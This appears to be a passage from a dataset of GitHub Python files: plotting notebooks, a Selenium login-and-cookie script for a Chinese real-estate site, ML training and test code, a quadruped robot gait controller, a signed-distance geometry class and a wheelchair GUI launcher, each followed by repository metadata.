current_continent = continent_list[i]\n \n\n \n plt.scatter(x=np.log(pcgdp[sel]),y=life_exp[sel] , s=100, alpha=0.7, \n color=color_list[i], edgecolor='black', label = current_continent.title())\n plt.title('Life Expectency vs Per Capita GDP (2018)')\n plt.xlabel('Natural Log of Per Capita GDP')\n plt.ylabel('Life Expectancy')\n plt.legend()\nplt.show \n \n \n \n \n\n \n\n\n# In[20]:\n\n\nfor i in range(0,len(continent_list)):\n\n sel = np.array((year == 2018) ) & np.array(continent == continent_list[i])\n \n \n current_continent = continent_list[i]\n \n plt.figure(figsize=[10,8])\n \n for i in range(1,5):\n plt.subplot()\n plt.scatter( x=np.log(pcgdp[sel]),y=life_exp[sel] , s=100, alpha=0.7, edgecolor='black')\n plt.title('Life Expectancy vs Per Capita GDP ' + current_continent.capitalize())\n plt.xlabel('Natural Log of Per Capita GDP')\n plt.ylabel('Life Expectancy')\n plt.xlim([6, 12])\n plt.ylim([45, 90])\n plt.tight_layout()\n plt.show \n \n\n\n# ## Problem 8: Trends by Country\n\n# In[21]:\n\n\nyear_range = list(range(1799, 2018))\n\nUSData = df[(df.country == \"United States\") & (df.year >= 1800) & (df.year <= 2018)]\nVenezuelaData = df[(df.country == \"Venezuela\")& (df.year >= 1800) & (df.year <= 2018)]\nVietnamData = df[(df.country == \"Vietnam\")& (df.year >= 1800) & (df.year <= 2018)]\nZambiaData = df[(df.country == \"Zambia\")& (df.year >= 1800) & (df.year <= 2018)]\nZimbabweData = df[(df.country == \"Zimbabwe\")& (df.year >= 1800) & (df.year <= 2018)]\n\n\n\nplt.figure(figsize=[8,4])\nplt.plot(year_range, USData.population, lw=2, label='United States')\nplt.plot(year_range, VenezuelaData.population, lw=2, label='Venezuela')\nplt.plot(year_range, VietnamData.population, lw=2, label='Vietnam')\nplt.plot(year_range, ZambiaData.population, lw=2, label='Zambia')\nplt.plot(year_range, ZimbabweData.population, lw=2, label='Zimbabwe')\nplt.plot([1800, 2019], [0,0], ls='--', color='black')\nplt.legend()\nplt.xlabel('Years')\nplt.ylabel('Population')\nplt.title('Population by Year')\nplt.show()\n\n\n# In[22]:\n\n\n\nplt.figure(figsize=[8,4])\nplt.plot(year_range, USData.life_exp, lw=2, label='United States')\nplt.plot(year_range, VenezuelaData.life_exp, lw=2, label='Venezuela')\nplt.plot(year_range, VietnamData.life_exp, lw=2, label='Vietnam')\nplt.plot(year_range, ZambiaData.life_exp, lw=2, label='Zambia')\nplt.plot(year_range, ZimbabweData.life_exp, lw=2, label='Zimbabwe')\nplt.plot([1800, 2019], [0,0], ls='--', color='black')\nplt.legend()\nplt.xlabel('Years')\nplt.ylabel('Life Expectancy')\nplt.title('Life Expectancy by Year')\nplt.show()\n\n","repo_name":"ShahidAbdulaziz/Python-Scripts","sub_path":"LifeExpectancy.py","file_name":"LifeExpectancy.py","file_ext":"py","file_size_in_byte":8526,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"34580971096","text":"import requests\nfrom selenium import webdriver\nimport time\nimport re\n\nurl = 'https://wh.lianjia.com/'\nheaders = {\n 'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36'\n}\n\nbrowser = webdriver.Firefox()\nbrowser.get(url=url)\n# browser.maximize_window() 最大化界面\n\nbrowser.find_element_by_class_name('reg').click()\nbrowser.find_element_by_class_name('tologin').click()\nbrowser.find_element_by_xpath('//*[@id=\"con_login_user\"]/form/ul/li[1]/input').send_keys('*****') #输入用户名\nbrowser.find_element_by_xpath('//*[@id=\"con_login_user\"]/form/ul/li[2]/input').send_keys('*****') #输入密码\nbrowser.find_element_by_class_name('login-user-btn').click()\ncaptcha = input('请输入验证码:')\nbrowser.find_element_by_xpath('//*[@id=\"con_login_user\"]/form/ul/li[3]/input').send_keys(captcha)\nbrowser.find_element_by_class_name('login-user-btn').click()\ntime.sleep(5)\nprint('browser.get_cookies:::',browser.get_cookies())\n#重点 cookie的转换\ncookie =[item[\"name\"] + \":\" + item[\"value\"] for item in browser.get_cookies()]\nprint('coookie:',cookie)\ncook_map = {}\nfor item in cookie :\n str = item.split(':')\n cook_map[str[0]] = str[1]\n print(cook_map)\n\ncookies = requests.utils.cookiejar_from_dict(cook_map, cookiejar=None, overwrite=True)\nprint('最终的cookie:',cookies)\n\nsess = requests.Session()\n\nsess.cookies = cookies\n\nr = sess.get(url='https://user.lianjia.com/')\nprint(r.text)\n\n\n\n\n\n\n\n\n","repo_name":"tanglong1993/lianjia_login","sub_path":"lianjia_login.py","file_name":"lianjia_login.py","file_ext":"py","file_size_in_byte":1485,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"11782465210","text":"import json\nimport re\n\nfrom tqdm import tqdm\n\n\nRE_NAME = re.compile(r\"(\\[[a-zA-Z]+\\])\")\n\n\ndef remove_name(text):\n return RE_NAME.sub(\"\", text)\n\n\ndef extract_data_for_classification(original_json_path: str, target_json_path: str, threshold: int=6) -> None:\n \"\"\"\n Extract data from the original source, and save data for classification model.\n :param original_json_path: the file path from where the function extracts data for classification\n :param target_json_path: the target json file to save the information\n :return:\n \"\"\"\n\n with open(original_json_path, \"r\", encoding=\"utf-8\", errors=\"ignore\") as file:\n data = json.load(file)\n\n res_data = []\n for conv in tqdm(data, desc=\"Extracting data for classification.\"):\n idx = conv[\"id\"]\n for i, item in enumerate(conv[\"conversations\"]):\n if item[\"from\"] == \"character\":\n res_item = {\"text\": \"\",\n \"id\": idx,\n \"class\": int(item[\"information\"] == \"send_picture\")}\n text = \"\"\n for j in range(max(0, i - threshold), i + 1):\n text += f\" [{conv['conversations'][j]['from']}] \" + remove_name(conv[\"conversations\"][j][\"value\"])\n\n res_item[\"text\"] = text\n res_data.append(res_item)\n\n with open(target_json_path, \"w\", encoding=\"utf-8\", errors=\"ignore\") as f:\n json.dump(res_data, f)\n\n print(\"Extracted data for classification has saved.\")\n\n\nif __name__ == '__main__':\n extract_data_for_classification(\"data/dialogs_pics.json\",\n \"data/classification_data.json\")","repo_name":"grishazohrab/gen_picture_classifier","sub_path":"data_processing/extract.py","file_name":"extract.py","file_ext":"py","file_size_in_byte":1661,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"5377838772","text":"import unittest\nfrom ParametricSpectralClustering import PSC, Four_layer_FNN\nfrom sklearn.cluster import KMeans\nfrom sklearn.datasets import load_digits\nimport numpy as np\nimport torch\nimport random\nimport pickle\n\ndigits = load_digits()\nx = digits.data / 16\ny = digits.target\ntorch.manual_seed(0)\nnp.random.seed(0)\nrandom.seed(0)\nclust_method = KMeans(\n n_clusters=10, init=\"k-means++\", n_init=1, max_iter=100, algorithm=\"elkan\"\n)\nmodel = Four_layer_FNN(64, 128, 256, 64, 10)\npsc = PSC(model=model, clustering_method=clust_method, test_splitting_rate=0.3)\ncluster_idx = psc.fit_predict(x)\n\n\nclass testPSC(unittest.TestCase):\n def test_init(self):\n self.assertIs(type(psc.n_neighbor), int)\n self.assertIs(type(psc.sigma), int)\n self.assertIs(type(psc.k), int)\n self.assertIs(type(psc.model), Four_layer_FNN)\n self.assertIs(type(psc.criterion), torch.nn.modules.loss.MSELoss)\n self.assertIs(type(psc.clustering), KMeans)\n self.assertIs(type(psc.test_splitting_rate), float)\n self.assertIs(type(psc.optimizer), torch.optim.Adam)\n self.assertIs(type(psc.epochs), int)\n self.assertIs(type(psc.model_fitted), bool)\n\n self.assertEqual(psc.n_neighbor, 8)\n self.assertEqual(psc.sigma, 1)\n self.assertEqual(psc.k, 10)\n self.assertEqual(psc.test_splitting_rate, 0.3)\n self.assertEqual(psc.epochs, 50)\n self.assertEqual(psc.clustering, clust_method)\n\n # output shape of fit_predict and predict\n def test_output_shape(self):\n self.assertEqual(x.shape, (1797, 64))\n output = psc.fit_predict(x)\n self.assertEqual(output.shape, (1797,))\n output = psc.predict(x)\n self.assertEqual(output.shape, (1797,))\n\n # train model\n def test_training_psc_model(self):\n U = psc.training_psc_model(x)\n self.assertIs(type(U), np.ndarray)\n self.assertEqual(U.shape, (1797, 10))\n\n def test_set_model(self):\n psc.set_model(model)\n self.assertEqual(psc.model, model)\n\n def test_save_model(self):\n psc.save_model(\"test_save_model\")\n self.assertEqual(os.path.exists(\"test_save_model\"), True)\n\n psc.fit(x)\n psc.save_model(\"test_save_fit_model\")\n self.assertEqual(os.path.exists(\"test_save_fit_model\"), True)\n\n m1 = None\n m2 = None\n with open(\"test_save_model\", \"wb\") as f1:\n pickle.dump(m1, f1)\n with open(\"test_save_fit_model\", \"wb\") as f2:\n pickle.dump(m2, f2)\n self.assertEqual(m1, m2)\n\n def test_load_model(self):\n psc.load_model(\"test_load_model\")\n self.assertEqual(os.path.exists(\"test_load_model\"), True)\n self.assertEqual(psc.model_fitted, True)\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"IvyChang04/PSC_library","sub_path":"tests/test_PSC.py","file_name":"test_PSC.py","file_ext":"py","file_size_in_byte":2786,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"72986589315","text":"import torch.nn as nn\nimport torch\nimport torchvision\nfrom tqdm import tqdm\nfrom tensorboardX import SummaryWriter\nimport numpy as np\nfrom sklearn import metrics\nimport argparse\n\ndata_io = __import__('1_data_io')\nimport networks\nimport helpers\n\n\nclass SupervisedClassfier():\n\tdef __init__(self,samples_per_class,seed,gpu,dataset):\n\n\t\tself.num_classes = 10\n\t\tself.batch_size = 100\n\t\tself.samples_per_class = samples_per_class\n\t\tself.io = data_io.Data_IO(self.samples_per_class,self.batch_size,dataset=dataset)\n\t\tself.lr = 1e-3\n\t\tself.early_stopping_patience = 15\n\n\t\tself.dataset = dataset\n\t\tself.name = 'sup_lab_%s_%d_seed%d'%(dataset,samples_per_class,seed)\n\t\tself.best_save_path = 'models/%s/best/'%(self.name)\n\t\tself.last_save_path = 'models/%s/last/'%(self.name)\n\t\tself.device = 'cuda:%d'%(gpu)\n\t\tself.seed = seed\n\t\ttorch.manual_seed(self.seed)\n\t\t\n\t\tself.writer = SummaryWriter('logs/%s/'%(self.name))\n\n\tdef get_model(self):\n\n\t\tif self.dataset == 'mnist':\n\t\t\t__,D = networks.get_mnist_gan_networks(latent_dim=100,num_classes=self.num_classes)\n\t\telif self.dataset == 'cifar10':\n\t\t\t__,D = networks.get_cifar_gan_networks(latent_dim=100,num_classes=self.num_classes)\n\t\tD = D.cuda()\n\t\treturn D\n\n\tdef get_dataloader(self,split):\n\t\tassert split in ('all_train','lab_train','test','valid')\n\t\treturn self.io.get_dataloader(split=split)\n\n\tdef train(self,num_epochs):\n\t\tmodel = self.get_model().cuda()\n\t\ttrain_loader = self.get_dataloader(split='lab_train')\n\t\tvalid_loader = self.get_dataloader(split='valid')\n\t\thelpers.clear_folder(self.best_save_path)\n\t\thelpers.clear_folder(self.last_save_path)\n\t\t\n\t\t# criterion = nn.NLLLoss().cuda()\n\t\tcriterion = nn.CrossEntropyLoss().cuda()\n\t\topt = torch.optim.Adam(model.parameters(), lr=self.lr)\n\t\t# opt = torch.optim.SGD(model.parameters(), lr=self.lr, nesterov=True, momentum=.9,weight_decay=1e-6)\n\t\tscheduler = torch.optim.lr_scheduler.ReduceLROnPlateau(opt, mode='min', factor=0.1, patience=8, verbose=True, threshold=0.0001, threshold_mode='rel', cooldown=0, min_lr=0, eps=1e-08)\n\t\tmax_val_loss = None\n\t\tno_improvement = 0\n\n\t\tglobal_train_step = 0\n\t\tglobal_test_step = 0\n\n\t\tfor epoch_idx in range(num_epochs):\n\t\t\t\n\t\t\ttrain_loss = 0.0\n\t\t\tmodel.train()\n\t\t\tfor x,y in tqdm(train_loader):\n\t\t\t\tx = x.cuda(); y = y.cuda() ;\n\t\t\t\topt.zero_grad()\n\t\t\t\t__,logits = model(x)\n\t\t\t\tloss = criterion(logits,y)\n\t\t\t\tself.writer.add_scalar('train_loss',loss,global_train_step)\n\t\t\t\tglobal_train_step += 1\n\t\t\t\tloss.backward() ; opt.step() ; \n\t\t\t\ttrain_loss += loss.item()\n\t\t\ttrain_loss /= len(train_loader)\n\n\t\t\tval_loss = num_correct = total_samples = 0.0\n\t\t\twith torch.no_grad():\n\t\t\t\tmodel.eval()\n\t\t\t\tfor x,y in tqdm(valid_loader):\n\t\t\t\t\tx = x.cuda(); y = y.cuda();\n\t\t\t\t\t__,logits = model(x)\n\t\t\t\t\tloss = criterion(logits,y)\n\t\t\t\t\tself.writer.add_scalar('val_loss',loss,global_test_step)\n\t\t\t\t\tglobal_test_step += 1\n\t\t\t\t\tval_loss += loss.item()\n\t\t\t\t\tpred = torch.argmax(logits,dim=1)\n\t\t\t\t\tnum_correct += torch.sum(pred==y)\n\t\t\t\t\ttotal_samples += len(y)\n\t\n\t\t\t\tval_loss /= len(valid_loader)\n\t\t\t\tacc = num_correct.item() / total_samples\n\n\t\t\tprint('Epoch %d train_loss %.3f val_loss %.3f acc %.3f'%(epoch_idx,train_loss,val_loss,acc))\n\t\t\tscheduler.step(val_loss)\n\n\t\t\tif max_val_loss is None:\n\t\t\t\tmax_val_loss = val_loss + 1\n\t\t\t\n\t\t\tno_improvement += 1\n\t\t\tif val_loss < max_val_loss:\n\t\t\t\tno_improvement = 0\n\t\t\t\tmax_val_loss = val_loss\n\t\t\t\tprint('Best model updated - Loss reduced to :',max_val_loss)\n\t\t\t\ttorch.save(model.state_dict(), self.best_save_path+'disc.pth')\n\n\t\t\ttorch.save(model.state_dict(), self.last_save_path+'disc.pth')\n\n\t\t\tif no_improvement > self.early_stopping_patience:\n\t\t\t\tprint('Early Stopping')\n\t\t\t\tbreak\n\n\t\tself.writer.close()\n\n\tdef get_pred(self,use_saved):\n\t\tif not use_saved:\n\t\t\tmodel = self.get_model().cuda()\n\t\t\tmodel.load_state_dict(torch.load(self.best_save_path+'disc.pth'))\n\t\t\tmodel.eval()\n\n\t\t\ttest_loader = self.get_dataloader(split='test')\n\t\t\ty_scores = torch.empty((len(test_loader)*self.batch_size,self.num_classes)).cuda()\n\t\t\ty_true = torch.empty((len(test_loader)*self.batch_size,)).cuda()\n\t\t\t\n\t\t\tfirst_idx = 0\n\t\t\twith torch.no_grad():\n\t\t\t\tfor x,y in tqdm(test_loader):\n\t\t\t\t\tx = x.cuda();y = y.cuda();\n\t\t\t\t\t__,logits = model(x)\n\t\t\t\t\ty_scores[first_idx:first_idx+len(y)] = logits\n\t\t\t\t\ty_true[first_idx:first_idx+len(y)] = y\n\t\t\t\t\tfirst_idx += len(y)\n\n\t\t\ty_scores = y_scores[:first_idx].cpu().numpy()\n\t\t\ty_true = y_true[:first_idx].cpu().numpy()\n\t\t\tnp.savez_compressed('tmp/%s.npz'%(self.name),y_true=y_true,y_scores=y_scores)\n\t\t\treturn y_true,y_scores\n\t\telse:\n\t\t\tdata = np.load('tmp/%s.npz'%(self.name))\n\t\t\treturn data['y_true'],data['y_scores']\n\n\tdef evaluate(self,use_saved=False):\n\t\ty_true,y_scores = self.get_pred(use_saved)\n\t\t# y_scores = np.exp(y_scores)\n\t\ty_pred = np.argmax(y_scores,axis=1)\n\t\tacc = metrics.accuracy_score(y_true,y_pred)\n\t\t# cm = metrics.confusion_matrix(y_true,y_pred)\n\t\t# print(cm)\n\t\tprint('Model : %s Acc %.3f'%(self.name,acc))\n\t\tlog_file = open('metrics/%s.txt'%(self.name),'w')\n\t\tprint('Model : %s Acc %.3f'%(self.name,acc),file=log_file)\n\t\tlog_file.close()\n\n\nif __name__ == '__main__':\n\tparser = argparse.ArgumentParser()\n\tparser.add_argument('--gpu',default=0)\n\tparser.add_argument('--seed',default=42)\n\tparser.add_argument('--labels',default=100)\n\tparser.add_argument('--dataset',default='mnist')\n\targs = parser.parse_args()\n\n\tseed = int(args.seed)\n\tgpu = int(args.gpu)\n\tlabels = int(args.labels)\n\tdataset = args.dataset\n\n\tsup = SupervisedClassfier(samples_per_class=labels,gpu=gpu,seed=seed,dataset=dataset)\n\tsup.train(num_epochs=200)\n\tsup.evaluate(use_saved=False)","repo_name":"theidentity/Improved-GAN-PyTorch","sub_path":"2_sup_baseline.py","file_name":"2_sup_baseline.py","file_ext":"py","file_size_in_byte":5541,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"61"} +{"seq_id":"32095464835","text":"#sieve for primes\r\ndef primegen(n):\r\n y = list(range(1,n,2))\r\n print(y)\r\n fewprimes = [3,5]\r\n for ite in fewprimes:\r\n y = [item for item in y if item%ite != 0]\r\n print(y)\r\n\r\nprint(primegen(1000000))\r\n","repo_name":"Aditya510/PythonProjectsv1.3","sub_path":"14092016 euler.py","file_name":"14092016 euler.py","file_ext":"py","file_size_in_byte":222,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"11091554785","text":"# dog robot tricycle gait move funcion\n# Updated in 2020 4/27\n# Author Junwen Cui / JameScottX\n# Other: \n\nimport numpy as np\nfrom dog_func.stone import Stone as st\nfrom comm.action.raw import Raw as raw\nfrom comm.dynamics.wbc_f import WBC \nfrom comm.action.gait_parttern import TriGait\nfrom comm.action.traj_jerk import TRAJ_J\nfrom comm.action.rhythm import Rhy_TriWalk\nfrom comm.action.traj_group import *\n\n# from comm.msg2ros import MSG2ROS\n\nimport matplotlib.pyplot as plt\n\n\n# dr_xyz = data_record(data_name = ['CoM-x','CoM-y'])\n# dr_foot_xyz = data_record(data_name = ['fault-x','fault-y'])\n\n# dr_opt = data_record(data_name = ['phi','theta','h'])\n# dr_des_curve = [data_record(data_name = ['CoM-x','CoM-y']) for i in range(20)]\n# dr_foot_curve = [data_record(data_name = ['fault-x','fault-y']) for i in range(20)]\n\n\n# msg2ros = MSG2ROS()\n\n\nclass Walk2():\n '''\n 四足机器人walk类,包含多种移动步态\n 继承 点跟踪类 和 trot节律类\n '''\n\n def __init__(self,robot):\n\n #对象 \n self.__robot = robot\n\n self.body_z = robot.body_normal_z\n \n self.wbc = WBC(robot)\n self.trigait = TriGait(robot.body_normal_z)\n self.traj_j = TRAJ_J()\n self.traj_l = [TRAJ_J() for _ in range(4)]\n self.rhy = Rhy_TriWalk()\n\n #设置步态序列长度\n self.gait_squence = [ [0.0, 0.08] for _ in range(24) ] \n self.move_speed_sta_end = [[0.,0.,0.], [0.,0.,0.]]\n #身体移动 时间\n self.move_T = 24\n self.move_t = 0.\n self.move_speed_keep = [0.1*24 /self.move_T,0.,0.]\n\n #腿 时间\n self.l_t = np.zeros(4,dtype=float)\n self.l_T = 0.4 * np.ones(4,dtype=float)\n\n #身体旋转 时间\n self.rotat_t = 0.\n self.rotat_T = 1.\n self.rotat_stand_h = -robot.body_normal_z\n\n self.body_flg = 0\n self.rotat_flag = 0\n\n self.leg_flg = 0\n self.cross_flg = 0\n\n self.process = 0 \n self.time_start = [0,0,0]\n \n def body_plan(self): \n #身体位移规划\n #一个周期结束时,刷新目标点\n index_now = self.trigait.tricycle_peroid_init(self.wbc.foot_p_glb, self.wbc.q2[:3])\n self.trigait.tricycle_foot_locate(self.gait_squence, index_now, self.wbc.foot_p_glb, self.wbc.q2[:6])\n b_xyz = self.trigait.body_cen_g_loc[:,:3]\n \n b_speed, b_acc = self.traj_j.xyz_speed_default(b_xyz, \\\n self.move_speed_sta_end, self.move_speed_keep,1)\n\n self.traj_j.traj_Xs(b_xyz, b_speed, b_acc, self.move_T)\n\n self.move_t = 0.\n self.trigait.gait_count = 0 #初始化步态索引\n\n def body_rotat(self):\n # 身体姿态规划 \n s = [0, 0.5, 1]\n ds_sta_end = [0.,0.] # s的 开始和结束 速度\n T_all =2*np.sum(self.l_T)/4\n ds,dds = self.traj_j.s_speed_default(s,ds_sta_end, 1/T_all)\n self.traj_j.traj_s(s, ds, dds, T_all)\n self.rotat_t = 0.\n self.rotat_T = T_all\n self.rotat_start = self.wbc.q2[3:6] #[0,0,self.wbc.q2[5]]\n # yaw_d = self.trigait.body_cen_g_loc[self.trigait.gait_count][5]\n\n yaw_d = 0.\n pitch_d = 0.\n roll_d = 0.\n if self.trigait.gait_count < 6:\n pitch_d = 0.3\n elif self.trigait.gait_count > 6 and self.trigait.gait_count <10:\n pitch_d = 0.0\n elif self.trigait.gait_count > 10 and self.trigait.gait_count <18:\n pitch_d = -0.3\n self.rotat_end = [roll_d, pitch_d, yaw_d]\n\n\n def leg_plan(self):\n #摆动腿规划\n self.wbc.activate_leg = np.ones(4)\n #此处转化腿为质心 坐标系下 \n swing_tar = self.trigait.gait_foot_locate[self.trigait.gait_count] - self.wbc.q2[:3]\n l_xyz, l_speed, l_acc = traj_3pots(self.wbc.foot_p_com[self.sw_id], swing_tar, self.l_T[self.sw_id])\n self.traj_l[self.sw_id].traj_Xs(l_xyz, l_speed, l_acc, self.l_T[self.sw_id])\n self.l_t = np.zeros(4,dtype=float)\n\n self.wbc.activate_leg[self.sw_id] = 0\n\n def leg_change(self):\n # 抬腿规划后 进行着陆判断\n if self.leg_flg == 1:\n ratio = self.l_t[self.sw_id] / self.traj_l[self.sw_id].T\n if ratio > 0.5 and self.__robot.touchstate[self.sw_id] ==1:\n self.trigait.gait_count += 1\n self.leg_flg = 0\n self.rotat_flag = 0\n\n\n def cross_diag(self):\n #重心过中线后在进行 腿部轨迹规划 \n if (self.sw_id ==2 or self.sw_id ==3):\n temp = self.rhy.line_dis_j(self.wbc.foot_p_com, self.sw_id)\n if temp >= 0.02: # 安全裕度\n self.cross_flg = 1\n else:\n self.cross_flg = 0\n elif (self.sw_id ==0 or self.sw_id ==1):\n self.cross_flg = 1\n\n def main_loop(self, isok = False):\n\n if not isok:\n return\n\n # 刷新参数\n self.wbc.wbc_refresh()\n\n # 几个计时器 \n self.move_t += self.__robot.real_time\n self.l_t += self.__robot.real_time\n self.rotat_t += self.__robot.real_time\n\n # 身体轨迹规划 和 落脚点规划\n if self.body_flg == 0 or self.trigait.gait_count == 4*5:\n self.body_plan()\n self.body_flg =1\n\n # 身体 姿态规划 \n if self.rotat_flag == 0 :\n self.body_rotat()\n self.rotat_flag = 1\n\n # 步态 和 落脚点 规划 \n self.sw_id = self.trigait.gait_foot_index[self.trigait.gait_count]\n # 判断是否 过线\n self.cross_diag() \n\n # 腿部运动轨迹规划 \n if self.leg_flg == 0 and self.cross_flg == 1:\n self.leg_plan()\n self.leg_flg = 1\n\n # 判断是否落地\n self.leg_change() \n \n s = self.traj_j.traj_ts_f(self.rotat_t)\n rpy_cont = self.wbc.rotate_s(s, self.rotat_start, self.rotat_end)\n move_cont = self.traj_j.traj_tj_f(self.move_t)\n # move_cont[2] = self.rotat_stand_h\n # print(move_cont)\n body_cont = np.hstack( (move_cont, rpy_cont) )\n\n # 腿部规划后执行轨迹跟踪\n if self.leg_flg ==1:\n leg_cont = self.traj_l[self.sw_id].traj_tj_f(self.l_t[self.sw_id])\n else:\n leg_cont = np.zeros(3,dtype=float) \n self.wbc.activate_leg = np.ones(4)\n\n # self.wbc.activate_leg = np.ones(4)\n # body_cont = np.hstack( (np.array([0.,0,self.__robot.body_normal_z]), np.array([0,0,0]) ) )\n \n leg_cont = np.array([leg_cont for _ in range(4)])\n # 全身控制\n tau_ff = self.wbc.dynamics_tau_out(body_cont, [0,0,0,0,0,0], leg_cont)\n # WBC 扭矩设置 \n st.wbc_torque_set(self.__robot, tau_ff)\n\n\n\n # try:\n # if msg2ros.count_rec() == 0:\n # msg2ros.send_joint(self.wbc.q2[6:])\n # msg2ros.send_body(self.wbc.q[:7])\n # msg2ros.send_qp_force(self.wbc.foot_p_com_RT, self.wbc.body_qp_force)\n # msg2ros.send_foot(self.wbc.foot_p_glb)\n\n # msg2ros.send_traj([self.wbc.q2[:3], \\\n # self.wbc.foot_p_glb[0],\\\n # self.wbc.foot_p_glb[1],\\\n # self.wbc.foot_p_glb[2],\\\n # self.wbc.foot_p_glb[3]])\n # # msg2ros.send_traj(self.wbc.q2[:3])\n # if self.broken_flag:\n # temp = np.append( self.wbc.pos_tar_get('BRF_leg1_2_BRF_leg2'), np.array([1,0,1,1]))\n # msg2ros.send_temp(temp)\n # except:\n # pass\n\n\n\n\n","repo_name":"JameScottX/Quasi-static-control-of-quadruped-robot","sub_path":"Webots/controllers/dog_c/dog_func/walk_tri.py","file_name":"walk_tri.py","file_ext":"py","file_size_in_byte":7619,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"61"} +{"seq_id":"39757453706","text":"from compas import PRECISION\n\n\nclass SmoothSubtraction(object):\n \"\"\"The smooth union between two volumetric objects.\n\n Parameters\n ----------\n a: volumetric object\n First object to subtract from.\n b: volumetric object\n Second object to subtract.\n r: float\n Intensity factor, the higher the number, the smoother the result. Default value `1.0`\n\n Examples\n --------\n >>> s = Sphere(Point(5, 6, 0), 9)\n >>> b = Box(Frame.worldXY(), 20, 15, 10)\n >>> vs = VolSphere(s)\n >>> vb = VolBox(b, 2.5)\n >>> u = SmoothSubtraction(vs, vb, 1.5)\n \"\"\"\n def __init__(self, a=None, b=None, r=1.0):\n self.a = a\n self.b = b\n self.r = r\n\n def __repr__(self):\n return 'SmoothSubtraction({0},{1},{2:.{3}f})'.format(str(self.a), str(self.b), self.r, PRECISION[:1])\n\n def get_distance(self, point):\n \"\"\"\n single point distance function\n \"\"\"\n da = self.a.get_distance(point)\n db = self.b.get_distance(point)\n k = self.r\n h = min(max(0.5 - 0.5 * (da + db) / k, 0), 1)\n return (da * (1 - h) + h * -db) + k * h * (1 - h)\n\n def get_distance_numpy(self, x, y, z):\n \"\"\"\n vectorized distance function\n \"\"\"\n import numpy as np\n\n da = self.a.get_distance_numpy(x, y, z)\n db = self.b.get_distance_numpy(x, y, z)\n h = np.minimum(np.maximum(0.5 - 0.5 * (da + db)/self.r, 0), 1)\n return (da * (1 - h) + h * -db) + self.r * h * (1 - h)\n\n\n# ==============================================================================\n# Main\n# ==============================================================================\n\nif __name__ == \"__main__\":\n from compas_vol.primitives import VolSphere, VolBox\n from compas.geometry import Box, Frame, Point, Sphere\n import numpy as np\n import matplotlib.pyplot as plt\n\n s = Sphere(Point(5, 6, 0), 9)\n b = Box(Frame.worldXY(), 20, 15, 10)\n vs = VolSphere(s)\n vb = VolBox(b, 2.5)\n u = SmoothSubtraction(vb, vs, 2.5)\n # for y in range(-15, 15):\n # s = ''\n # for x in range(-30, 30):\n # d = u.get_distance(Point(x * 0.5, y, 0))\n # if d < 0:\n # s += 'x'\n # else:\n # s += '.'\n # print(s)\n\n x, y, z = np.ogrid[-15:15:50j, -15:15:50j, -15:15:50j]\n d = u.get_distance_numpy(x, y, z)\n plt.imshow(d[:, :, 25].T, cmap='RdBu')\n plt.colorbar()\n plt.show()\n","repo_name":"wenqian157/spacemapping_curve","sub_path":"src/spacemapping_curve/compas_vol/combinations/smoothsubtraction.py","file_name":"smoothsubtraction.py","file_ext":"py","file_size_in_byte":2472,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23284262234","text":"\"\"\"\r\nThis file is responsible for organizing all of the GUI pages and threads running on the Wheelchair Raspberry Pi, it is\r\nessentially the 'main' of this Wheelchair project\r\n\"\"\"\r\nfrom PyQt5 import QtCore, QtGui, QtWidgets\r\nfrom WHome import Ui_MainWindow #New1\r\nfrom WCharging import Ui_MainWindow2 #New2\r\nfrom WUpload import Ui_MainWindow4 #New4\r\nfrom WTest import Ui_MainWindow3 #New3\r\nfrom TimerThread import Clock\r\nfrom Login_file import Login\r\nimport WCharging as wc\r\nimport main_code\r\nimport time\r\nimport concurrent.futures\r\nimport WMsgWindow as wm\r\nimport StateClass as sc\r\nfrom StateClass import State\r\n \r\ndef showWindow(targetWindow):\r\n \"\"\"\r\n This function will show a target window while hiding all other windows, it is the basis of the tab-switching capability\r\n\r\n :param targetWindow: target window to show over all others\r\n \"\"\"\r\n# print(\"attempting to change tabs, state: \",sc.WCState)\r\n if(sc.WCState == State.CHARGER_AVAILABLE\r\n or sc.WCState == State.CHARGER_UNAVAILABLE):\r\n winArray = [login,MainWindow,MainWindow2,MainWindow3,MainWindow4];\r\n winArray[targetWindow].showFullScreen();\r\n for idx,win in enumerate(winArray):\r\n if targetWindow != idx:\r\n win.hide()\r\n\r\nif __name__ == \"__main__\":\r\n \"\"\"\r\n This statement will make sure the necessary pages are initialized when this file is run as the 'main'\r\n \"\"\"\r\n import sys\r\n app = QtWidgets.QApplication(sys.argv)\r\n wm.globalMsgWindow = wm.MsgWindow()\r\n # base state for tests\r\n sc.WCState = State.CHARGER_AVAILABLE\r\n# QtGui.QGuiApplication.inputMethod().visibleChanged.connect(handleVisibleChanged)\r\n \r\n LCD_Objs = []\r\n # Set Up Main Windows\r\n MainWindow = QtWidgets.QMainWindow()\r\n \r\n # establish full screen for all windows\r\n login = Login()\r\n login.setObjectName(\"loga\")\r\n login.resize(800, 480)\r\n MainWindow.showFullScreen() # show this in the background for seamless transition\r\n login.showFullScreen()\r\n \r\n # load non-active windows after to try to speedup start process\r\n MainWindow2 = QtWidgets.QMainWindow()\r\n MainWindow3 = QtWidgets.QMainWindow()\r\n MainWindow4 = QtWidgets.QMainWindow()\r\n \r\n ui = Ui_MainWindow()\r\n ui.setupUi(MainWindow)\r\n LCD_Objs.append(ui.lcdNumber)\r\n # connect goStatus method to ui of home\r\n #ui.label_3.clicked.connect(goBattery)\r\n ui.label_charging.mouseReleaseEvent = (lambda state, x=2: showWindow(x))\r\n \r\n# ui.label_3.mouseReleaseEvent = showTab(MainWindow2)\r\n # connect goCharge method\r\n #ui.label_4.clicked.connect(goTest)\r\n 